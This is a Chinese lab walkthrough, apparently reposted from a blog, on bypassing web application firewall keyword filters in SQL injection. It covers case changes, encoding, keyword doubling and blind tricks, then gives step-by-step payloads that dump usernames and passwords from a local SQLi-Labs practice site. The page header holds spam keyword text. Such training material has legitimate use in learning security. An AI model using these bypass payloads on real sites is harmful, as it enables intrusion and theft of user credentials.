日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入-SQL注入的WAF绕过(十六)

發布時間:2023/12/18 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入-SQL注入的WAF绕过(十六) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

實驗目的

普及熟悉利用重寫等方式繞過WAF關鍵字過濾、以實現SQL注入的方法。PS:面試時不要說打WAF靶場什么東西,就說重復大小寫編碼什么之類的

基本概念

WAF(WebApplicationFirewall)的中文名稱叫做“Web應用防火墻”,它依靠安全策略對Web應用程序進行保護。安全策略是WAF的靈魂,所謂的“繞過WAF”就是指通過某種方式無視WAF的安全策略,達到攻擊的目的。

方法1:變換大小寫
>實例:比如WAF攔截了union,那就使用Union、UnloN等方式繞過。

方法2:編碼
>實例1:WAF檢測敏感字~,則可以用0x7e代替,如extractvalue(1,concat('~',database())
可以寫成extractvalue(1,concat(0x7e,database())。
實例2:WAF檢測敏感字admin,則可以用0x61646d696e代替,如select name,pass from users where name='admin'可以替換成select name,pass from users where name=0x61646d696e。

實例3:WAF檢測敏感字select,可以在URL中將select變成%73elEcT,編碼結合大小寫
變換繞過WAF。
實例4:可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等來替
換空格。

方法3:利用注釋符
適用于WAF只過濾了一次危險的語句,而沒有阻斷整個查詢語句的場合。
實例:原查詢語句為:?id=1 union select1,2,3,對于這條查詢,WAF過濾了一次union和select,我們可以在原查詢語句union和select之前再寫一個注釋的語句,讓WAF把注釋里面的過濾掉,如?id=1/*union*/union/*select*/select1,2,3

方法4:重寫
>適用于WAF只過濾一次敏感字的情況。
>實例:WAF過濾敏感字union,但只過濾一次,則可以寫出類似ununionion這樣的
過濾一次union后就會執行我們的查詢了:?id=1 ununionion select 1,2,3

方法5:比較操作符替換
適用于某一比較操作符(如等號)被過濾的情況。

方法5:比較操作符替換
>實例1:!=不等于,<>不等于,<小于,>大于,這些都可以用來替換=來繞過。
比如要判斷某個值是不是74,假設=被過濾,則可以判斷是不是大于73,是不是小于75,
然后就知道是74了:
/id=1 and ascii(lower(mid((select pwd from users limit 1,1)1,1)))>73
/id=1 and ascii(lower(mid((select pwd from users limit 1,1)1,1)))<75
>實例2:WAF將=、>、<全部過濾,則可以利用like來繞過,如id=1or1like1

方法6:同功能函數替換
>適用于某一函數被過濾的情況。
>實例:假如substring()被WAF過濾,但substring()可以用同功能的mid(),substr()等函
數來替換,都是用來取字符串的某一位字符的
原查詢語句:substring((selecti 'password'),1,1)=0x70
替換后的查詢語句:substr((select 'password'),1,1)=0x70
mid(select 'password'),1,1)=0x70

方法7:盲注的活用
適用于頁面無回顯或多種函數、邏輯運算符被過濾的情況:實例:strcmp(expr.expr2)用來比較兩個值,如果exprl=expr2,則函數返回0,expr1<expr2則返回-1,expr1>expr2則返回1。假如index.php?uid=123頁面返回是正確的,但WAF過濾了and和or,原查詢語句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123來替換,通過盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()將返回0,0+123=123,所以頁面應該是正確的。否則就說明不是B,這樣猜就不用and和or了

方法8:二階注入
二階注入與普通注入的區別
普通SQL注入:發生在一個HTTP請求和響應中,對系統的攻擊是立即執行的:(1)
攻擊者在http請求中提交非法輸入;(2)應用程序處理非法輸入,使用非法輸入構
造SQL語句;(3)在攻擊過程中向攻擊者返回結果。
二階SQL注入:(1)攻擊者在http請求中提交某種經過構思的輸入;(2)應用程
序存儲該惡意輸入(通常保存在數據庫中)以便后面使用并響應請求;(3)攻擊者
提交第二次(不同的)http請求;(4)為處理第二次http請求,程序會檢索存儲在
數據庫中的惡意輸入并進行處理,從而導致攻擊者構造的SQL查詢被執行;(5)如
果攻擊成功,在第二次請求響應中向攻擊者返回查詢結果。

方法9:寬字節注入
適用于數據庫使用雙字節編碼方式(如GBK)、WAF利用Addslashes()等函數對
敏感字符進行轉義的場景。
背景:
統一的國際規范的理想狀態:程序都使用Unicode編碼,所有的網站都使用UTF-8編
碼。
現狀:國內及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編
碼,比如GBK。也有一些cms為了考慮老用戶,所以出了GBK和UTF-8兩個版本。

實驗環境

攻擊機:一直游到海水變藍
(1)操作系統:Windows10
(2)安裝的應用軟件:sqlmap、Burpsuite、FireFox瀏覽器插件Hackbar、
FoxyProxy等
(3)登錄賬號密碼:操作系統帳號Admin,密碼qazwsx
靶機:化身孤島的藍鯨

(1)操作系統:本機(建議用虛擬機,特別是公司系統都是Linux)不過我太懶了( ̄??)
(2)安裝的應用軟件: Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、??
Webug3.0漏洞網站環境??
(3)登錄賬號密碼:操作系統帳號root,密碼684264

實驗原理

WAF( Web Application Firewall)的中文名稱叫做"web應用防火墻",通過檢查HTTP的流量,它可以防御Web應用安全漏洞,如阻止SQL注入、跨站腳本(XSS)、文件包含和安全配置錯誤等漏洞引發的攻擊作為攻擊者來說,常見的繞過WAF的方式包括大小寫變換、編碼、重寫、巧用注釋符、巧用盲注、同功能函數替換等其中,重寫適用于WAF只過濾一次敏感字的情況。比如WAF過濾敏感字 union但只過濾一次,則可以寫出類似 ununionion這樣的,過濾一次 union后就會執行我們的查詢了。

實驗步驟

本實驗的目標是:以sQL-Labs網站的Less-25為入口,利用聯合查詢( unionselect)的方式繞過WAF關鍵字過濾機制并成功實施SQL注入,獲取SQLi-Labs網站的登錄用戶名和密碼

網站的登錄用戶名和密碼

1.訪問SQLi-Labs網站

在攻擊機 Pentest-Atk打開 FireFox瀏覽器,并訪問靶機A-SQLi-Labs上的sQLi-Labs網站Less-25。訪問的URL為:

http://[靶機IPl/sqli-labs/Less-25/

登錄后,根據網頁提示,先給定一個GET參數,即

http://l靶機IPl/sqli-labs/Less-25/?id=1

此時頁面顯示id=1的用戶名Dump、密碼Dump。

說明:本實驗環境中FireFox瀏覽器已預安裝Hackbar插件,在FireFox界面 按下鍵盤上的F9鍵啟用或停用(本實驗環境中默認為啟用狀態)。建議在注入 過程中用Hackbar插件來調整payload參數。

2.尋找注入點及判斷WAF過濾的關鍵字,分別使用以下4條 payload尋找注入點、判斷注入點的類型以及WAF過濾的關鍵字

http://[靶機IPl/sqli-labs/Less-25/?id=1'

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’

運行后報錯!

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ and '1'='1

運行后頁面顯示的并不是id=1的用戶名和密碼,且提示原本輸入的 payload中"and"被刪除了!

同理,經過嘗試, payload中的“or”也會被刪除

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ anandd '1'='1

運行后正常顯示id=1的用戶名和密碼,雖然原本輸入的 payload中"and"被刪除但只刪除一次!

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ anandd '1'='2

運行后未正常顯示!

由上述結果可以判斷,網站存在字符型注入點,且WAF對“and”、“or”關鍵字進行過濾,但只過濾一次。因此,在后續的注入步驟中,payload中只要存在“and”、“or”這樣的固定字符串,都需要使用重寫方式繞過WAF的過濾

3.判斷網站查詢的字段數

嘗試使用以下 payload獲取網站查詢的字段數(關鍵字 order by)

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 1--+

//注意:“order”當中含有“or”,因此也需要重寫,即“oorrder”

正常顯示!

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 2--+

正常顯示

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 3--+

正常顯示?

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 4--+

報錯

判斷網站的回顯位置

利用以下 payload判斷網站的回顯位置:

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2,3--+

執行的結果是:2號位和3號位可以回顯!

5.獲取網站當前所在數據庫的庫名

使用以下 payload獲取網站當前所在數據庫的庫名

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1, 2,,database()--+

顯示結果為 security

6.獲取數據庫security的全部表名
使用以下payload獲取數據庫security的全部表名:

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1, 2, group_concat(table_name) from infoorrmation_schema .tables where table_schema='security'--+

顯示結果中,有一個名為 users的表,這當中可能存放著網站用戶的基本信息

7.獲取users表的全部字段名
使用以下payload獲取users表的全部字段名:

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1, 2, group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name= 'users' --+

?8.獲取 users表id、 username和 password字段的全部值

由于users表中存放著多組用戶名和密碼的數據,而每次只能顯示一組數據,我們可以通過 limit m,n的方式逐條顯示,如

(1)顯示第1組數據

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2, concat_ws(',',id,username,passwoorrd) from security.users limit 0,1--+

顯示結果為Dump,Dump。

(2)顯示第2組數據

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2, concat_ws(',',id,username,passwoorrd) from security.users limit 1,1--+

顯示結果為Angelina,l-kill-you

(3)顯示第3組數據

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2, concat_ws(',',id,username,passwoorrd) from security.users limit 2,1--+

顯示結果為Dummy,p@ssword。

?...

以此類推,可通過修改limit后面的參數,將users表中存放的所有用戶信息全
部暴露出來。

SQL注入 ——sql數據庫操作基礎(一)_Gjqhs的博客-CSDN博客

SQL注入——SQLmap的進階使用(十五)_Gjqhs的博客-CSDN博客

SQL注入-寬字節注入(十一)(面試熱點)_Gjqhs的博客-CSDN博客

?...

更多包括而不限于SQL注入的文章,關注我全部帶走吧<( ̄︶ ̄)↗[GO!]

總結

以上是生活随笔為你收集整理的SQL注入-SQL注入的WAF绕过(十六)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。